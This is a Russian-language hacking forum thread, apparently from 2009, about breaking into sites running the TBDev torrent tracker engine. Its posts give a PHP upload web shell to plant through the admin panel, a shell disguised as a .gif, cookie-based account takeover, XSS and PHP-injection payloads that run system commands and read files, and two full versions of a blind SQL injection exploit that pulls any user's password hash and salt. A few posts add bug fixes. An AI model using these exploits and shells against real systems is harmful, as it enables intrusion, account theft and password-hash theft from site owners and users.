<form enctype="multipart/form-data" action="$self" method="POST">
<input type="hidden" name="ac" value="upload">
<tr>
<input size="5" name="file" type="file"></td>
</tr>
<tr>
<td><input size="10" value="$docr/" name="path" type="text"><input type="submit" value="ОК"></td>
$tend
HTML;
if (isset($_POST['path'])){
$uploadfile = $_POST['path'].$_FILES['file']['name'];
if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];}

if (copy($_FILES['file']['tmp_name'], $uploadfile)) {
echo "Файло ".$_FILES['file']['name']." загружен";
} else {
print "Не удаётся загрузить файло. Инфа:\n";
print_r($_FILES);
}
}
break;
}
?>
</pre>

Вот Замутил это из одного древнего шела Создаёте пихапе блок вписываете туда весь этот код Сохраняете. в нужном блоке И на указанных вами страницах будет отабражаться формачка залифки файла Найдёте эту формачку Укажите директорию, зальете.

ZonD80
02.01.2009, 03:25
Раскрытие путей:

recover.php?id[]=
email-gateway.php?id[]=
takeconfirm.php?id[]=
takeinvite.php?id[]=
topten.php?lim[]=
topten.php?type[]=

1ce666
09.01.2009, 20:35
Обновление безопасности (http://forum.antichat.ru/thread100403.html)

aledain
11.01.2009, 21:10
Подскажите, пожалуйста, способ залить шелл, зайдя в админку. Способ через php-блок не катит, т.к. на папке выставлены права не позволяющие в неё писать (((
Если можно подробно.

Arigona
12.01.2009, 14:10
aledain, должны стоять права 777.

Если они не стоят как ты сказал - тебе не повезло просто...

Red Virus
13.01.2009, 04:44
aledain, должны стоять права 777.

Если они не стоят как ты сказал - тебе не повезло просто...

Не обязательно 777 иногда скрипт принудительно записывает блок хоть и ругается на отсутствие прав нл это как уже упоминалось выше- как повезет

pacan4ik
13.01.2009, 17:03
$self = $_SERVER['PHP_SELF'];
$docr = $_SERVER['DOCUMENT_ROOT'];
$sern = $_SERVER['SERVER_NAME'];
$tend = "</tr></form></table><br><br><br><br>";
if (!empty($_GET['ac'])) {$ac = $_GET['ac'];}
elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];}
else {$ac = "upload";}
switch($ac) {
case "upload":
echo <<<HTML
<table>
<form enctype="multipart/form-data" action="$self" method="POST">
<input type="hidden" name="ac" value="upload">
<tr>
<input size="5" name="file" type="file"></td>
</tr>
<tr>
<td><input size="10" value="$docr/" name="path" type="text"><input type="submit" value="ОК"></td>
$tend
HTML;
if (isset($_POST['path'])){
$uploadfile = $_POST['path'].$_FILES['file']['name'];
if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];}

if (copy($_FILES['file']['tmp_name'], $uploadfile)) {
echo "Файло ".$_FILES['file']['name']." загружен";
} else {
print "Не удаётся загрузить файло. Инфа:\n";
print_r($_FILES);
}
}
break;
}
?>
</pre>

Вот Замутил это из одного древнего шела Создаёте пихапе блок вписываете туда весь этот код Сохраняете. в нужном блоке И на указанных вами страницах будет отабражаться формачка залифки файла Найдёте эту формачку Укажите директорию, зальете.

у меня половина кода высвечиваеться в блоке, и там 2 формы в первой выбрать файл, после выбора наживаю ентер и кидает на http://site.ru/$self
пробвал во втором окне выбрать адрес в папку с оформление все так же кидает http://site.ru/$self
что не так я делаю?

Red Virus
13.01.2009, 17:36
у меня половина кода высвечиваеться в блоке, и там 2 формы в первой выбрать файл, после выбора наживаю ентер и кидает на http://site.ru/$self
пробвал во втором окне выбрать адрес в папку с оформление все так же кидает http://site.ru/$self
что не так я делаю?

Лучше залей гифный шелл и с инклудь его с админки

Смени расширение шелла с php на gif залей на серв

в админке создай php блок и сунь туда этот код

например так

include("torrents/images/44776.gif");

потом выставляешь отображение блока на какой нить странице и вуаля на той страничке откроется шелл

Uname-A
14.01.2009, 16:21
у меня половина кода высвечиваеться в блоке, и там 2 формы в первой выбрать файл, после выбора наживаю ентер и кидает на http://site.ru/$self
пробвал во втором окне выбрать адрес в папку с оформление все так же кидает http://site.ru/$self
что не так я делаю?
Это для старой версии сделано...
На новой я не тестил..
У нас в локале повальное распространение старого двига Серверов 100 наверно
и все на одном двиге=)

pacan4ik
16.01.2009, 16:50
Ну так кто поможет? может кто зделать блок через который залить шел

pacan4ik
16.01.2009, 22:46
Икстати ред вирус можно зделать как нибудь не фаловый блок ,а простым блоком с инклудить?

nAPEHb
16.01.2009, 23:49
Подскажите как через куки зайти?

Взял я его куки со своей базы.


Открываю его сайт(куки)
Ид меняю на его и куки его ставлю! Обновляю страницу и я становлюсь как гость, вылетаю из под акка! Почему??

Обьяснить что не так

_Sniper_
17.01.2009, 13:09
Подскажите как через куки зайти?

Взял я его куки со своей базы.


Открываю его сайт(куки)
Ид меняю на его и куки его ставлю! Обновляю страницу и я становлюсь как гость, вылетаю из под акка! Почему??

Обьяснить что не так
В поле uid в куках пишеш ид юзера...в поле pass пишеш куки которые ты через експлоит узнал...
http://img413.imageshack.us/img413/5708/91532398wa2.jpg

nAPEHb
17.01.2009, 17:11
В поле uid в куках пишеш ид юзера...в поле pass пишеш куки которые ты через експлоит узнал...
http://img413.imageshack.us/img413/5708/91532398wa2.jpg

я так и делаю! Но после того как обновляю страницу я делаюсь как гость :mad:

Arigona
17.01.2009, 21:24
nAPEHb, не туда пассхэш пишеш.И вообще, для этих дел юзай оперу

nAPEHb
18.01.2009, 02:34
Юзаю оперу!

В куках 3 строки:
pass
PHPSESSID
uid

Я меняю 1 и 3! И вылетаю

pacan4ik
18.01.2009, 14:57
возможно подмену куки заделал разработчик, и новые фикс версии уже не подмениш куки((

ya_krivetko
21.01.2009, 01:54
что то мне кажется не так по експлой запускаешь и получаешь ответ.
Trying to get your cookies... [DONE]
Trying to get passhash:
Exploit failed

Arigona
25.01.2009, 22:26
Сбрей усы, надень трусы.

Эксплоит уже мало где работает. Только там где ещё про багу не знают...

s_p_a_m
10.02.2009, 13:26
Ну так кто поможет? может кто зделать блок через который залить шел
нафиг этот геморой? есть другой способ, пишеш комент к торренту в виде кода шелла, потом через скулю в мыле интоаутфайл свой комент и шелл готов

S0ulVortex
07.03.2009, 20:46
Нашёл уязвимость в движке TBDev v2.0 Yuna Scatari Edition (14.09.2006)
/viewrequests.php?search=[xss]
фильтрация есть но плохая :)
'></title><script>alert('xss')</script>

Gray_Wolf
08.03.2009, 18:52
А через что туда можно залить шелл, имея права СисОпа?

1ce666
11.03.2009, 20:04
Нашёл уязвимость в движке TBDev v2.0 Yuna Scatari Edition (14.09.2006)
/viewrequests.php?search=[xss]
фильтрация есть но плохая :)
'></title><script>alert('xss')</script>

Лично у меня нет этого файла , так как в этом файле уязвимость была , на сайте TBDev'a уже есть темка как баги закрывать и какие. Я даже создал тут темку =]

Gray_Wolf
12.03.2009, 09:56
Некоторые админы забывают удалить идущий в комплекте с трекером MyBB (www.tracker.site.ru/forums.php), а в нём есть отличная PHP-инъекция.

И вот ещё какой вопрос:
Мне нужно узнать пароль определённого пользователя(брутить нереально), что и где в коде нужно дописать, чтобы у него очистились куки, и при вводе пароля создался файл с пассом.

ILYAtirtir
13.03.2009, 04:59
Залейте пожалуста TBDev 2.0 Yuna Scatari Edition(сам двиг),хочу на локалхосте проверить пару вещей.=)

Nelzone
13.03.2009, 11:14
Залейте пожалуста TBDev 2.0 Yuna Scatari Edition(сам двиг),хочу на локалхосте проверить пару вещей.=)

http://rapidshare.com/files/208632185/TBDev.18.05.07_pre_fixed.zip.html

RaMTararam
15.03.2009, 13:21
Мой аккаунт отключили и надо как то занова врубить его...
Новый не регит, выдает что данный ip зареген
Можно ли что либо сделать в данной ситуации??

Floor
22.03.2009, 14:12
Вот ещё

/viewrequests.php?sort='></title><script>alert('xss')</script>

mavpa
23.03.2009, 19:44
Мой аккаунт отключили и надо как то занова врубить его...
Новый не регит, выдает что данный ip зареген
Можно ли что либо сделать в данной ситуации??

Сотрей cookies и попрупай опять зарегится

Rostov114
10.04.2009, 12:50
По моему не было.

Мод AJAX проверка занятости e-mail и никнейма.

Бажные куски кода:
$res = (@mysql_fetch_row(@sql_query("select count(*) from users where username='$wantusername'"))) or die(mysql_error());
и
$res = (@mysql_fetch_row(@sql_query("select count(*) from users where email='$email'"))) or die(mysql_error());

Через данные уязвимости можно стырить пассхеш любого пользователя но как показала практика при запросе вида ' union select passhash from users where id=1 into outfile '../../../usr/local/www/torrent/torrents/images/1.txt'/* -- @ukrnet.ua
Стандартный JS убивает = поэтому создаем на каком нибудь сервере страничку с содержанием
<form method="POST" action="http://АДРЕС_ТРЕКЕРА/check_signup.php">
<input type="text" name="user name" size="20">
<input type="text" name="emai l" size="20">
<input type="submit" value="go">
</form> Вставляем в любое из полей SQL запрос и получаем в фаил 1.txt пассхеш.

P.S. При юзании данной уязвимости можно столкнутся с тем что веб сервер "изолирован" и тогда MySQL выдаст ошибку о не возможности сохранить фаил. Поэтому вопрос можно ли как нибудь составить SQL запрос чтобы он пассхеш вывел на экран? :rolleyes:

Qwazar
10.04.2009, 16:44
Если нет вывода, кроме mysql_error, можешь посмотреть мой сплоит, гдето на 1-4 странице, последняя версия. Если есть вывод, то как обычно.

Вообще, ещё раз перечитай (если читал): https://forum.antichat.ru/thread43966.html

Мой сплоит работает по методу описаному в пункте 3.3

foot
23.04.2009, 02:03
Qwazar скажи пожалуйста через какие доки моно просунуть SQL inj ... кроме тех что ты дал..

ILYAtirtir
23.04.2009, 04:31
Вместе с этим трекером идет станартный форум mybb,там есть php inj
http://sait.ru/torrent/forum/forumdisplay.php?fid=2
&sortby='];system('dir C:\\');exit;// ИТД
Можно файлы читать
http://sait.ru/torrent/forum/forumdisplay.php?fid=2
&sortby='];readfile('C:/boot.ini');exit;//
Ну вообщем смотря в каком случае. Можно шелл заюзать.
P.S.Это так если инъекция не прет.:)

Qwazar
23.04.2009, 09:58
Qwazar скажи пожалуйста через какие доки моно просунуть SQL inj ... кроме тех что ты дал.. Ищи :) То что я нашёл выше уже устарело, а больше я пока не смотрел.

crazyserega1994
24.04.2009, 23:17
Возможно ли сменить пароль если я сижу на торрент акке? Просто нету формы для смены пароля...

Rostov114
25.04.2009, 23:45
Если нет вывода, кроме mysql_error, можешь посмотреть мой сплоит, гдето на 1-4 странице, последняя версия. Если есть вывод, то как обычно.

Вообще, ещё раз перечитай (если читал): https://forum.antichat.ru/thread43966.html

Мой сплоит работает по методу описаному в пункте 3.3
:) Ага спасибо..щас на основе твоего сплоита попытаюсь написать под свою багу.

Rostov114
26.04.2009, 00:50
При запросе вида ' union select passhash from users where id=1 into outfile '../../../usr/local/www/torrent/torrents/images/1.txt' -- @ukrnet.ua в моей узвимости сервер может ответить Access denied for user 'torrent_hack'@'localhost' (using password: YES). Что означает что он не в состоянии записать фаил на винчестер поэтому написал сплоит на основе сплоита от Qwazar.

<?

//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru & Rostov114

set_time_limit(0);
ignore_user_abort(1);
Error_Reporting(E_ALL & ~E_NOTICE);

function send_xpl($url, $xpl){
global $id;
$u=parse_url($url);

$data = "action=email&email={$xpl}";
$req = "POST ".$u['path']."check_signup.php HTTP/1.1\r\n";
$req .= "Host: ".$u['host']."\r\n";
$req .= "Content-Length: ".strlen($data)."\r\n";
$req .= "Content-Type: application/x-www-form-urlencoded\r\n";
$req .= "Connection: close\r\n\r\n";
$req .= $data;

$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
fwrite($fs, $req);
while (!feof($fs)) {
$res .= fread($fs, 8192);
}
fclose($fs);
return $res;
}

function xpl($field, $condition, $pos){
global $id;
$xpl="-1'+or+id=if(ascii(substring((select+$field+from+us e rs+where+id=$id),$pos,1))$condition,'1',(select+1+ union+select+2))+--+";
return $xpl;
}

function cond($url, $field, $cond, $pos, $ch) {
if(!preg_match('/Subquery returns/', send_xpl($url, xpl($field,$cond.$ch,$pos))))
return 1;
else
return 0;

}

function isVulnerable($url) {
if(preg_match('/Subquery returns/', send_xpl($url, xpl("passhash","=-1",1))))
return true;
else
return false;
}

function getChar($url, $field, $pos, $lb=0, $ub=255) {
while(true) {
$M = floor($lb + ($ub-$lb)/2);
if(cond($url, $field, '<', $pos, $M)==1) {
$ub = $M - 1;
}
else if(cond($url, $field, '>', $pos, $M)==1) {
$lb = $M + 1;
}
else
return chr($M);
if($lb > $ub)
return -1;
}
}

if($argc<2)
{
echo "==================\r\n";
echo "Using tbdev2sql.php url target_id\r\ntarget_id - id of target member\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1\r\n";
echo "==================\r\n";
die();
}

$url=$argv[1];
$id=$argv[2];

echo $url.":".$id."\r\n";

if(!isVulnerable($url))
die("Exploit failed: Target is not vulnerable");

echo "Trying to get passhash: ";
for($i=1;$i<=32;$i++){
$c = getChar($url, "passhash", $i, 47, 103);
if($c==-1)
die("\r\nExploit failed\r\n");
else
echo $c;
}
echo " [DONE]\r\n";

echo "Trying to get salt: ";
for($i=1;$i<=20;$i++){
$c = getChar($url, "secret", $i);
if($c==-1)
die("\r\nExploit failed\r\n");
else
echo $c;
}
echo " [DONE]\r\n";


?>

Использовать так же как и сплоит Qwazar-а только в этом сплоите не нужен аккаут зарегестрированого пользователя.

P.S. Для тех кто в танке Exploit failed: Target is not vulnerable - означает что дыру прикрыли.

Qwazar
26.04.2009, 01:55
Кстати, в функции function isVulnerable($url) - проверка на то уязвим сервер или нет происходит неверно, эта функция возвращает 1 или 2, т.е. всегда true :) Т.е. по сути проверка всегда проходит успешно.

З.Ы.
Да, это моя бага, но лучше исправить, чтобы не заваливать неуязвимый сервер тучей запросов. :)

Rostov114
26.04.2009, 13:34
Кстати, в функции function isVulnerable($url) - проверка на то уязвим сервер или нет происходит неверно, эта функция возвращает 1 или 2, т.е. всегда true :) Т.е. по сути проверка всегда проходит успешно.

З.Ы.
Да, это моя бага, но лучше исправить, чтобы не заваливать неуязвимый сервер тучей запросов. :)
:) Угу...исправил.

Rostov114
27.04.2009, 01:30
:)
Вторая версия сплоита. Отличия в поиске нет. Но зато теперь он распознает сам пропатчен/отсутсвует ли фаил check_signup.php. Если да то пытается осуществить атаку через takesignup.php.

Естественно перед этим происходит проверка на уязвимость обоих методов.

<?

//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru & Rostov114

set_time_limit(0);
ignore_user_abort(1);
Error_Reporting(E_ALL & ~E_NOTICE);

function send_xpl($url, $xpl, $type){
global $id;
$u=parse_url($url);

switch($type)
{
case 'takesignup':
$data = "wantusername=admin&wantpassword=123456&passagain=123456&gender=1&country=1&year=1970&month=01&day=01&";
$data .= "rulesverify=yes&faqverify=yes&ageverify=yes&email={$xpl}";
$req = "POST ".$u['path']."takesignup.php HTTP/1.1\r\n";
break;
case 'check':
$data = "action=email&email={$xpl}";
$req = "POST ".$u['path']."check_signup.php HTTP/1.1\r\n";
break;
}

$req .= "Host: ".$u['host']."\r\n";
$req .= "Content-Length: ".strlen($data)."\r\n";
$req .= "Content-Type: application/x-www-form-urlencoded\r\n";
$req .= "Connection: close\r\n\r\n";
$req .= $data;

$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
fwrite($fs, $req);
while (!feof($fs)) {
$res .= fread($fs, 8192);
}
fclose($fs);
return $res;
}

function xpl($field, $condition, $pos){
global $id;
$xpl="-1'+or+id=if(ascii(substring((select+$field+from+ users +where+id=$id),$pos,1))$condition,'1',(select+1+un i on+select+2))+--+ @ukrnet.ua";
return $xpl;
}

function cond($url, $field, $cond, $pos, $ch) {
global $type;
if(!preg_match('/Subquery returns/', send_xpl($url, xpl($field,$cond.$ch,$pos), $type)))
return 1;
else
return 0;

}

function isVulnerable($url) {
global $type;
if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash","=-1",1), 'check')))
{
echo "File check_signup.php absents or not vulnerable.\r\n";
}
else
{
$type = 'check';
}

if(!$type)
{
if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash","=-1",1), 'takesignup')))
{
die( "Exploit failed: Target is not vulnerable." );
}
else
{
$type = 'takesignup';
}
}

}

function getChar($url, $field, $pos, $lb=0, $ub=255) {
while(true) {
$M = floor($lb + ($ub-$lb)/2);
if(cond($url, $field, '<', $pos, $M)==1) {
$ub = $M - 1;
}
else if(cond($url, $field, '>', $pos, $M)==1) {
$lb = $M + 1;
}
else
return chr($M);
if($lb > $ub)
return -1;
}
}

if($argc<2)
{
echo "==================\r\n";
echo "Using tbdev2sql.php url target_id\r\ntarget_id - id of target member\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1\r\n";
echo "==================\r\n";
die();
}
global $type;
$url=$argv[1];
$id=$argv[2];

echo $url.":".$id."\r\n";

isVulnerable($url);

echo "Trying to get passhash: ";
for($i=1;$i<=32;$i++){
$c = getChar($url, "passhash", $i, 47, 103);
if($c==-1)
die("\r\nExploit failed\r\n");
else
echo $c;
}
echo " [DONE]\r\n";

echo "Trying to get salt: ";
for($i=1;$i<=20;$i++){
$c = getChar($url, "secret", $i);
if($c==-1)
die("\r\nExploit failed\r\n");
else
echo $c;
}
echo " [DONE]\r\n";


?>

= ) Конечно в эту версию можно было прикрутить и атаку через requests.php...но я не стал этого делать.

Rostov114
06.05.2009, 01:06
Сегодня ищя в очередной раз дыры в TBDev заметил странную вещь если после имени файла добавить слеш (/) то весь дизайн перекосит...после 5 минут анализирования нашел активную XSS
Использование
http://torrent/xxx.php/"><script>alert(/XSS/)</script>/
Где xxx любой фаил двига который отображает что либо в дизайне.

1ce666
06.05.2009, 22:35
И лучше закрыть эту шнягу :D

BugFix:

файл include/init.php

Заменить
$url = explode('/', $_SERVER['PHP_SELF']);
на
$url = explode('/', $_SERVER['SCRIPT_NAME']);
или на
$url = explode('/', htmlspecialchars_uni($_SERVER['PHP_SELF']));
(c) n-sw-bit (http://bit-torrent.kiev.ua/aidena_novaia_xss-t5540/index.html)

wildshaman
12.05.2009, 19:45
Сегодня ищя в очередной раз дыры в TBDev заметил странную вещь если после имени файла добавить слеш (/) то весь дизайн перекосит...после 5 минут анализирования нашел активную XSS
Использование
http://torrent/xxx.php/"><script>alert(/XSS/)</script>/
Где xxx любой фаил двига который отображает что либо в дизайне.


это ПАССИВНАЯ XSS

злойдядька
30.05.2009, 13:30
При запросе вида ' union select passhash from users where id=1 into outfile '../../../usr/local/www/torrent/torrents/images/1.txt' -- @ukrnet.ua в моей узвимости сервер может ответить Access denied for user 'torrent_hack'@'localhost' (using password: YES). Что означает что он не в состоянии записать фаил на винчестер поэтому написал сплоит на основе сплоита от Qwazar....


НА КОЛ тебя! багу я и s_p_a_m нашли больше чем пол года назад!
http://forum.antichat.ru/showpost.php?p=958334&postcount=51

Rostov114
02.06.2009, 01:27
НА КОЛ тебя! багу я и s_p_a_m нашли больше чем пол года назад!
http://forum.antichat.ru/showpost.php?p=958334&postcount=51
Ты это..прочитай получше это сообщение...ты думаеш почему я сплоит под эту багу писал основываясь на споите Qwazar...а т.к. файлик то не запишеш...ты вначале читай..а потом обсирай...

yurets
08.06.2009, 10:08
Извините я в этом деле новичок но есть у нас в локальном пользовании трекер у которого вроде бы как движок TBDev 2.0, почему вроде бы потомучто у него в низу сайта есть такая натпись
http://waper.ru/file/905247/Безымянный.JPG
Вывести отчет об ошибке я так и не смог, перечитал кучу статей про SQL-inj и единственное что смог вывести так это страницу с странным текстом типа:
"То, что вы хотите, нету.",
"URL неправильный.",
"Я даже попробовал поглядеть рядом.",
"Нет ничего похожего.",
"А случайно не перепутали с [бЮЬЮ ЯЯШКЙЮ]",.............
Помогите что мне дальше с этим делать?

Qwazar
08.06.2009, 11:22
yurets, скорее всего файл requests.php в этой сборке удалили, и правильно сделали. Попробуй поискать другие уязвимости.

HAXTA4OK
18.06.2009, 23:30
вот что то нашел..))))зацени))что то у меня он не прошел

http://127.0.0.1/treker/testip.php?ip=1'

кажется что ето не SQL-inj

P.S.но все равно решил выложить....

P.S.S уже на сонную голову пишу..мб есть такой пост


if ($_SERVER["REQUEST_METHOD"] == "POST")
$ip = $_POST["ip"];
else
$ip = $_GET["ip"];
if ($ip)
{
$nip = ip2long($ip);
if ($nip == -1)
stderr($tracker_lang['error'], "Bad IP.");
$res = sql_query("SELECT * FROM bans WHERE $nip >= first AND $nip <= last") or sqlerr(__FILE__, __LINE__);
if (mysql_num_rows($res) == 0)
stderr("Результат", "IP адрес <b>$ip</b> не забанен.");
else
{
$banstable = "<table class=main border=0 cellspacing=0 cellpadding=5>\n" .
"<tr><td class=colhead>Первый</td><td class=colhead>Последний</td><td class=colhead>Комментарий</td></tr>\n";
while ($arr = mysql_fetch_assoc($res))
{
$first = long2ip($arr["first"]);
$last = long2ip($arr["last"]);
$comment = htmlspecialchars($arr["comment"]);
$banstable .= "<tr><td>$first</td><td>$last</td><td>$comment</td></tr>\n";
}
$banstable .= "</table>\n";
stderr("Результат", "<table border=0 cellspacing=0 cellpadding=0><tr><td class=embedded style='padding-right: 5px'><img src=pic/smilies/excl.gif></td><td class=embedded>IP адрес <b>$ip</b> забанен:</td></tr></table><p>$banstable</p>");
}
}
stdhead("Проверка IP");



BpoDE POST

Qwazar
18.06.2009, 23:52
вот что то нашел..))))зацени))что то у меня он не прошел

http://127.0.0.1/treker/testip.php?ip=1'

кажется что ето не SQL-inj
Это не уязвимость, просто ошибка разработчиков.

HAXTA4OK
19.06.2009, 08:59
http://127.0.0.1/treker/viewoffers.php?filter=

тута крутани =\ что то я не смог довести до ума

Qwazar
19.06.2009, 11:31
http://127.0.0.1/treker/viewoffers.php?filter=

тута крутани =\ что то я не смог довести до ума Молодчина, это слепая скуль.

/viewoffers.php?filter= AND if(substring(version(),1,1)=5,(select 1 union select 2),1) -- 1

Советую почитать и вникнуть в статью (пункт "3.ЧТО ДЕЛАТЬ ЕСЛИ ОТСУТСТВУЮТ ВЫВОДИМЫЕ ПОЛЯ."): https://forum.antichat.ru/thread43966.html

А затем: https://forum.antichat.ru/thread119047.html

Кстати, если есть хоть одна запись в таблице offers, в следующем запросе (у меня строка 98) можно увидеть скулю с выводом (проверь, я не пробовал на практике, но по коду - вывод вроде есть).

HAXTA4OK
19.06.2009, 12:03
http://localhost/treker/comment.php?action=check&tid[]=

тоже раскрытие путей))))что то типа твоего)))

HAXTA4OK
19.06.2009, 12:40
http://127.0.0.1/treker/invite.php?id=1&type=del

у меня выкинуло внизу раскрытие путей))

Qwazar
19.06.2009, 12:54
Не нужно для каждого раскрытия писать отдельный пост, в этом движке раскрытий тысяча и одна штука. Собирай их все в один пост, а не плоди сообщения.

Rostov114
20.06.2009, 16:17
Не нужно для каждого раскрытия писать отдельный пост, в этом движке раскрытий тысяча и одна штука. Собирай их все в один пост, а не плоди сообщения.
Хотя их можно отключить 1 функцией...

А за скуль спасибо = )

P.S. Кому интересно могу дать сплоит который атакует по всем на данный момент известным уязвимостям, включая последнюю. Выкладывать в паблик не хочу ибо слишком он сейчас опасен.

foot
22.06.2009, 05:00
P.S. Кому интересно могу дать сплоит который атакует по всем на данный момент известным уязвимостям, включая последнюю. Выкладывать в паблик не хочу ибо слишком он сейчас опасен.

Хотелось бы взглянуть... :) тебе плюсик и спасибо...

Qwazar
22.06.2009, 14:41
Тут пишут что найдена ещё уязвимость: https://forum.antichat.ru/showpost.php?p=1346236&postcount=7789

A vulnerability found in the popular bittorrent tracker TBSource code allows an attacker to inject SQL queries and read secret information from the database.
The value of 'choice' passed to the script index.php is not properly sanitized. When a special tailored value is passed by an attacker, full reading access to the database is possible.
Some projects based in TBSource like TBDev and TorrentStrike have been found to be affected by the same vulnerability.

Источник не указан, если кто найдёт - пишите, поставим копирайты. Расковырял этот парметр, вот результат:

Посмотрел, короче будет работать только если:

1) залогиниться
2) юзер хоть раз участвовал в голосовании

Уязвимый запрос:
sql_query("INSERT INTO pollanswers VALUES(0, $pollid, $userid, $choice)") or sqlerr(__FILE__, __LINE__);тогда можно в к примеру сделать так:http://test1.ru:8012/tbdev/
POST choice=111 and if(substring(version(),1,1)=5,(select 1 union select 2),2)


UPD:
Нашёл источник: "Bug discovered by Emiliano Scavuzzo"

Yuna
24.06.2009, 01:27
А это $choice = (int) $_POST["choice"];
if ($CURUSER && $choice >= 0 && $choice < 256) { не спасает? :)

Qwazar
24.06.2009, 13:45
Если добавить (int) как написано в твоём посте, то спасает. Я не знаю может в новой версии есть строгое приведение типа, я на старой смотрел, там его нет.

З.Ы.
Вот у меня код такой:

if ($_SERVER["REQUEST_METHOD"] == "POST") {
$choice = $_POST["choice"];
if ($CURUSER && $choice != "" && $choice < 256 && $choice == floor($choice)) {

Qwazar
24.06.2009, 14:15
Ник как у разработчика =)... Ну и хорошо, что разработчики обращают внимание на уязвимости своих продуктов. Очень правильный подход.

З.Ы.
Завязываем оффтопить.

З.З.Ы.
Разработчикам советую обратить внимание на: https://forum.antichat.ru/thread30641.html

Yuna
24.06.2009, 15:19
Если добавить (int) как написано в твоём посте, то спасает. Я не знаю может в новой версии есть строгое приведение типа, я на старой смотрел, там его нет.

З.Ы.
Вот у меня код такой:

if ($_SERVER["REQUEST_METHOD"] == "POST") {
$choice = $_POST["choice"];
if ($CURUSER && $choice != "" && $choice < 256 && $choice == floor($choice)) {

Не, ну это старенький код =)))

А насчет SQL-inj - да там проблема что когда движок весь собирался - (а это 2006-й год!!!) то малость я тогда и не знал что такое есть, и как защищаться

А лазить по всему коду - так влень, лучше списочком де дырки =)))))

HAXTA4OK
27.06.2009, 00:50
if (get_user_class() < UC_MODERATOR)
puke($tracker_lang['access_denied']);

$action = $_POST["action"];

if ($action == "edituser") {
$userid = $_POST["userid"];
$title = $_POST["title"];
$avatar = $_POST["avatar"];
// Check remote avatar size
if ($avatar) {
if (!preg_match('#^((http)|(ftp):\/\/[a-zA-Z0-9\-]+?\.([a-zA-Z0-9\-]+\.)+[a-zA-Z]+(:[0-9]+)*\/.*?\.(gif|jpg|jpeg|png)$)#is', $avatar))
stderr($tracker_lang['error'], $tracker_lang['avatar_adress_invalid']);
if(!(list($width, $height) = getimagesize($avatar)))
stderr($tracker_lang['error'], $tracker_lang['avatar_adress_invalid']);
if ($width > $avatar_max_width || $height > $avatar_max_height)
stderr($tracker_lang['error'], sprintf($tracker_lang['avatar_is_too_big'], $avatar_max_width, $avatar_max_height));
}
// Check remote avatar size
$resetb = $_POST["resetb"];
$birthday = ($resetb=='yes'?", birthday = '0000-00-00'":"");
$enabled = $_POST["enabled"];
$warned = $_POST["warned"];
$warnlength = 0 + $_POST["warnlength"];
$warnpm = $_POST["warnpm"];
$donor = $_POST["donor"];
$uploadtoadd = $_POST["amountup"];
$downloadtoadd= $_POST["amountdown"];
$formatup = $_POST["formatup"];
$formatdown = $_POST["formatdown"];
$mpup = $_POST["upchange"];
$mpdown = $_POST["downchange"];
$support = $_POST["support"];
$supportfor = htmlspecialchars($_POST["supportfor"]);
$modcomm = htmlspecialchars($_POST["modcomm"]);
$deluser = $_POST["deluser"];

$class = 0 + $_POST["class"];
if (!is_valid_id($userid) || !is_valid_user_class($class))
stderr($tracker_lang['error'], "Неверный идентификатор пользователя или класса.");
// check target user class
$res = sql_query("SELECT warned, enabled, username, class, modcomment, uploaded, downloaded FROM users WHERE id = $userid") or sqlerr(__FILE__, __LINE__);
$arr = mysql_fetch_assoc($res) or puke("Ошибка MySQL: " . mysql_error());
$curenabled = $arr["enabled"];
$curclass = $arr["class"];
$curwarned = $arr["warned"];
if (get_user_class() == UC_SYSOP)
$modcomment = $_POST["modcomment"];
else
$modcomment = $arr["modcomment"];
// User may not edit someone with same or higher class than himself!
if ($curclass >= get_user_class() || $class >= get_user_class())
puke("Так нельзя делать!");



$userid = $_POST["userid"];

$res = sql_query("SELECT warned, enabled, username, class, modcomment, uploaded, downloaded FROM users WHERE id = $userid") or sqlerr(__FILE__, __LINE__);

все это из файла modtask.php
посмари там через пост не уязвим ли? просто с постом работать не умею :(

Yuna
27.06.2009, 10:43
Не уязвим ))

if (!is_valid_id($userid) || !is_valid_user_class($class))

меня больше волнует проблема траффика и проверка аватарки - ну залью я туда jph весом 500 метров и все, удаленном трекеру жопа

HAXTA4OK
27.06.2009, 20:30
http://127.0.0.1/treker/users.php?search=1&page=1

тут у меня выдает

Ответ от сервера MySQL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-100,100' at line 1

в C:\xampp\htdocs\treker\users.php, линия 131

Запрос номер 12.

Nightmarе
27.06.2009, 20:55
меня больше волнует проблема траффика и проверка аватарки - ну залью я туда jph весом 500 метров и все, удаленном трекеру жопа
Конфигурация upload_max_filesize спасает от разовой загрузки больших файлов ;)

Yuna
28.06.2009, 13:23
нет, я не об этом я о возможности нагрузить канал трекера просто забив в поле аватара (урл аватарки!!) ссылку на файлик весом эдак под 500мб

т.е беру файлик Therion_-_The_Miskolc_Experience-2CD-2009-FKK.rar переименовываю в avatar.jpg

кидаю на какой-то хостинг, и давай на 3-х юзерских профилях - пункт проверка аватарки т.е установка, а там уже дело техники - каждый пхп будет качать эти 150 метров файлик, потом удалять, а мы тем временем продолжаем процесс.

результат - на сервере забит канал, и вот вам по сути ддос

if (!preg_match('#^((http)|(ftp):\/\/[a-zA-Z0-9\-]+?\.([a-zA-Z0-9\-]+\.)+[a-zA-Z]+(:[0-9]+)*\/.*?\.(gif|jpg|jpeg|png)$)#is', $avatar))
stderr($tracker_lang['error'], $tracker_lang['avatar_adress_invalid']);
if(!(list($width, $height) = getimagesize($avatar)))
stderr($tracker_lang['error'], $tracker_lang['avatar_adress_invalid']);

ZonD80
29.06.2009, 18:06
Yuna привет:) Чет ты немнога поздно тут зарегался. Юзай идею:
function remote_fsize($path)
{
$fp = @fopen($path,"r");
if (!$fp) return false;
$inf = stream_get_meta_data($fp);
fclose($fp);
if ($inf["wrapper_data"]) {
foreach($inf["wrapper_data"] as $v)
if (stristr($v,"content-length"))
{
$v = explode(":",$v);
return trim($v[1]);
